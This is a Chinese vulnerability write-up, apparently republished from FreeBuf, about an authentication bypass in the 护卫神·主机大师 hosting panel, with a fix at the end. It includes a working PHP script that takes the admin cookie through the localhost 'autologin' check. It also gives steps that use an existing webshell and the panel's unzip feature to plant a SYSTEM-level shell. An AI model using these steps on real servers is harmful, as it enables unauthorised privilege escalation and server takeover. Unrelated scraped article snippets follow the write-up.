护卫神mysql提权_护卫神主机大师提权漏洞利用分析

article/2025/10/3 12:27:10

*本文原创作者:Freedom,本文属FreeBuf原创奖励计划,未经许可禁止转载

0x01 前言

护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。支持Windows Server 2008/2012。结合护卫神14年安全防护经验,严格限制每个站点独立权限,彻底阻挡跨站入侵。但这套系统真的像描述的那么安全么?,由于某次安全测试遇到该系统,遂对该系统进行分析。本文记录了分析过程中的一些记录和问题。

0x02 代码分析

先看看装好后的软件界面,可以看到一些常见的主机操作功能。其中网站管理引起了我的注意,点开瞅瞅

ebb3a12693c9fb9f4225498638b61343.png

点开之后就直接进去了,WTF?

ecedb6be335ab43b52a4d67fb4c47906.png

从逻辑流程来看这里很明显有问题,撸开代码看看怎么验证的。虚拟主机管理系统运行在6588端口。且采用asp语言开发。程序路径为x:\HwsHostMaster\host\web\下,且默认为system权限运行。

/admin/index.asp

Dim strIp

strIp = Request.ServerVariables("local_addr")

Dim strAuto

strAuto = LCase(Trim(Request.QueryString("f")))

If (strIp = "::1" Or strIp = "127.0.0.1") And strAuto = "autologin" Then

'获取管理用户登录

Dim sql,rs

call conn_open()

Set rs = Server.CreateObject("Adodb.Recordset")

sql = "select top 1 * from [huweishen_Admin]"

rs.Open sql,conn,1,1

if rs.RecordCount = 0 then

Session("admin")= "autologin"

else

Session("admin") = rs("username")

end if

rs.Close

Session.Timeout =600

AddLog Session("admin"), 1, "控制台直接登录管理中心"

Response.Redirect "index.asp"

End If

%>

代码乍一看好像没啥问题,但是开发者疏忽了一个问题,第9行判断来源ip是否为本地访问,strIp变量来自Request.ServerVariables("local_addr") ,如果为本地访问且strAuto=autologin则直接登入系统,无需账号密码验证,这就出现一个问题了,开发者未考虑内部用户是否合法,如果我获取到一个低权限的webshell、那就相当于获取到一个本地身份了。那么我就可以直接访问到虚拟主机管理后台了。那么就可以为所欲为了。

0x03 利用方法

本漏洞利用前提是已经获取到虚拟主机上的一个webshell,其次在通过以下脚本获取cookie即可进入虚拟主机管理后台。<?php

function httpGet() {

$url = '[http://127.0.0.1:6588/admin/index.asp?f=autologin](http://127.0.0.1:6588/admin/index.asp?f=autologin)';

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header

curl_setopt($ch, CURLOPT_NOBODY, TRUE); //表示需要response body

curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);

curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);

curl_setopt($ch, CURLOPT_TIMEOUT, 120);

$result = curl_exec($ch);

return $result;

}

echo httpGet();

?>

将该脚本上传至服务器,访问后即可获取到管理员cookie。在本地修改cookie后即可进入到虚拟主机管理后台。绕过登录限制。

0x04 GETSHELL

直接访问需要登录

ebd65f4cb8bf9120a0a270586731eb15.png

通过脚本获取cookie

9262e75952c6a76d929d6d99f938e447.png

修改cookie后直接访问/admin/index.asp,进入后台

da60a7686d9568a2cb09a5040e25f229.png

进入后台后点击网站列表,随便选择一个网站,点击解压进入操作界面,通过FTP或其他方式上传shell压缩包,然后输入文件名和解压路径,解压路径选择护卫神管理系统路径,一般为X:\HwsHostMaster\host\web\ X为任意盘符。

36d846cb84800b7e4fca318f4d81295a.png

在我这里普通网站目录和护卫神管理系统都在D盘下,所以采用相对路径指向到虚拟主机管理系统web路径即可

ded415d86d373271a9ef7f107e20147f.png

912783f41c299ac1d70036e9361c3d32.png

a9d155b1058dc0501762629dc0094b2a.png

点击解压以后,shell就躺在管理系统目录下了。并且为system权限。成功获取到高权身份

0x05 总结

该漏洞利用场景较为鸡肋,前提要求已经获取到该主机上的shell,才可采用该方法进行提权。开发者在开发过程中不要对内部不要过于信任,因为你也无法确保内部绝对的安全。

修复方案:

删除第三行到第三十行之间的代码即可。

*本文原创作者:Freedom,本文属FreeBuf原创奖励计划,未经许可禁止转载


http://chatgpt.dhexx.cn/article/axVt0YdV.shtml

相关文章

护卫神mysql提权_护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机大师安装的软件)...

原标题&#xff1a;护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机大师安装的软件) “护卫神主机大师支持一键安装网站运行环境(IISASPASP.netPHP5.2-5.6MySQLFTP伪静态PhpMyAdmin)&#xff0c;并可在线开设主机、SQL Server和MySQL&#xff1b;Web方式管理&#xff0…

护卫神mysql域名连接_护卫神·主机大师WEB管理端绑定自己的域名_护卫神

护卫神主机大师面板上的网站管理WEB端地址默认为http://服务器IP:6588/admin。为了方便管理&#xff0c;可以绑定指定的域名&#xff0c;通过以下两种方法修改。 第一种方法&#xff1a; 在服务器上打开“护卫神主机大师”面板&#xff0c;点击“主机系统”旁边的“设置”进去&…

护卫神 更换mysql引擎_护卫神·主机大师更换服务器方法(移机或重装)_护卫神...

本文主要介绍如何转移护卫神主机大师的相关数据及网站数据/SQL数据库&#xff0c;适用于重装系统及迁移服务器。 一&#xff0c;备份数据&#xff1a; 复制备份护卫神主机大师数据库文件&#xff1b; 位置&#xff1a;护卫神主机大师安装目录/host/database/my.asp。 复制备份您…

护卫神怎么重启php,护卫神·主机大师如何开启php_opcache_护卫神

护卫神主机大师支持5.5至7.3这几个版本开启php_opcache扩展。 一&#xff0c;先打开护卫神主机大师面板-常用操作-打开软件目录 二&#xff0c;打开phpweb目录&#xff0c;找到要开启opcache的php版本&#xff0c;比如我这里要在php5.5中开启&#xff0c;进入php55目录&#xf…

linux php护卫神,评测:护卫神·主机大师 (Linux版)

释放双眼&#xff0c;带上耳机&#xff0c;听听看~&#xff01; 最近护卫神也进入了Linux集合面板市场 说起护卫神&#xff0c;很多人非常的陌生&#xff0c;但是说起“C盘垃圾清理.bat”这个小程序&#xff0c;应该很多人用过&#xff01; 他就是护卫神出品的&#xff0c;家里…

主机大师php5.6安装教程,护卫神主机大师

如何登陆PhpMyAdmin管理MySQL数据库? 安装了护卫神主机大师&#xff0c;如果您选择了安装MySQL和PhpMyAdmin&#xff0c;那么就可以通过PhpMyAdmin来管理MySQL。 安装完成后&#xff0c;主机大师会在桌面和安装目录产生文件“主机大师使用说明.txt”&#xff0c;其中包含了登录…

护卫神怎么安装mysql,护卫神·主机大师增加一键安装SQLServer功能_护卫神

好消息&#xff0c;护卫神主机大师 增加一键安装SQLServer数据库的功能&#xff01; 自从主机大师推出市场以来&#xff0c;都将安全作为重中之重&#xff0c;深受广大用户的好评。我们也在不断地对其进行升级完善&#xff0c;让其更加好用、实用和安全。 本次升级版本号未做变…

护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机管理一键安装的软件)...

“护卫神主机大师支持一键安装网站运行环境&#xff08;IISASPASP.netPHP5.2-5.6MySQLFTP伪静态PhpMyAdmin&#xff09;&#xff0c;并可在线开设主机、SQL Server和MySQL&#xff1b;Web方式管理&#xff0c;拥有独立前台和后台面板。支持Windows Server 2008/2012。结合护卫神…

护卫神主机大师php伪静态,护卫神主机大师的使用方法

护卫神主机大师官方版是一款安全防护的服务器&#xff0c;一键安装网站运行环境(IISASPASP.netPHPMySQLFTP伪静态PhpMyAdmin)&#xff0c;并可在线开设主机、SQL Server和MySQL;Web方式管理&#xff0c;护卫神主机大师电脑版拥有独立前台和后台面板&#xff0c;界面简洁明晰、操…

护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机管理一键安装的软件)

“护卫神主机大师支持一键安装网站运行环境&#xff08;IISASPASP.netPHP5.2-5.6MySQLFTP伪静态PhpMyAdmin&#xff09;&#xff0c;并可在线开设主机、SQL Server和MySQL&#xff1b;Web方式管理&#xff0c;拥有独立前台和后台面板。支持Windows Server 2008/2012。结合护卫神…

113资讯网(www.113p.cn)评测:护卫神·主机大师 (Linux版)

最近护卫神也进入了Linux集合面板市场 说起护卫神&#xff0c;很多人非常的陌生&#xff0c;但是说起“C盘垃圾清理.bat”这个小程序&#xff0c;应该很多人用过&#xff01; 他就是护卫神出品的&#xff0c;家里第一次配置电脑&#xff0c;我的电脑就安装了C盘清理垃圾的程序&…

运放--单电源半波精密整流

上篇文章是针对双电源的&#xff0c;如果是单电源只需生成一个1/2VCC作为运放偏置即可&#xff0c;如下&#xff1a; 仿真结果如下&#xff1a; 如果想去掉直流成分可以在后面加一个电压跟随器和一个减法器&#xff0c;如下图&#xff1a; 仿真如下&#xff1a; 紫色部分信…

单电源运放电路的基本偏置方法

单电源供电根据偏置不同的方法&#xff0c;可以分为交流耦合和直流耦合两种。 交流耦合要考虑到信号的频率&#xff0c;这是因为电容C的阻抗为1/jwc&#xff0c;对于高频信号w较大只需要一个较小的C耦合即可达到低串联阻抗。而对于低频信号则需要较大的C。 1.直流耦合型&…

运放单电源与双电源问题探讨

运放作为低频电路的主要元件之一&#xff0c;在供电方式上有单电源和双电源两种&#xff0c;而选择何种供电方式&#xff0c;是初学者的困惑之处&#xff0c;本人也因此做了详细的实验&#xff0c;在此对这个问题作一些总结。 首先&#xff0c;运放分为单电源运放和双电源运放&…

单电源运放添加偏置电压的原因

运放的特点是输出幅值不能超过电源电压的压差&#xff0c;对于传统单电源运放&#xff0c;如LM358&#xff0c;输出电压幅值不能达到电源电压上下限。 单电源运放工作时只能放大对地为正&#xff08;同向输入&#xff09;或为负&#xff08;反向输入&#xff09;的直流电压&am…

单电源运放的偏置电压

运放的特点是输出幅值不能超过电源电压的压差&#xff0c;对于传统单电源运放&#xff0c;如LM358&#xff0c;输出电压幅值不能达到电源电压上下限。 单电源运放工作时只能放大对地为正&#xff08;同向输入&#xff09;或为负&#xff08;反向输入&#xff09;的直流电压&am…

什么是单电源运放,什么是双电源运放?

什么是单电源运放&#xff0c;什么是双电源运放&#xff1f; 从本质上讲&#xff0c;运放并无单双电源之分&#xff0c;只有你设计的放大电路有单双电源之分。 一般大家所谓的单电源就是以地为参考&#xff0c;例如&#xff0c;0V&#xff5e;5V&#xff0c;那么负电源轨是0V&a…

硬方案——单电源运放构成的反相放大器无法输出负压,同相端要加偏置,偏置电压的选择有说道

【系列专栏】&#xff1a;博主结合工作实践输出的&#xff0c;解决实际问题的专栏&#xff0c;朋友们看过来&#xff01; 《QT开发实战》 《嵌入式通用开发实战》 《从0到1学习嵌入式Linux开发》 《Android开发实战》 《实用硬件方案设计》 长期持续带来更多案例与技术文章分享…

运放基础认识及选型

1.什么是运放 &#xff08;1&#xff09;概要&#xff1a; 运放是运算放大器的简称。在实际电路中&#xff0c;通常结合反馈网络共同组成某种功能模块。由于早期应用于模拟计算机中&#xff0c;用以实现数学运算&#xff0c;故得名“运算放大器”&#xff0c;此名称一直延续至…

运放参数解释及常用运放选型

集成运放的参数较多&#xff0c;其中主要参数分为直流指标和交流指标&#xff0c;外加所有芯片都有极限参数。本文以NE5532为例&#xff0c;分别对各指标作简单解释。下面内容除了图片从NE5532数据手册上截取&#xff0c;其它内容都整理自网络。 极限参数 主要用于确定运放电…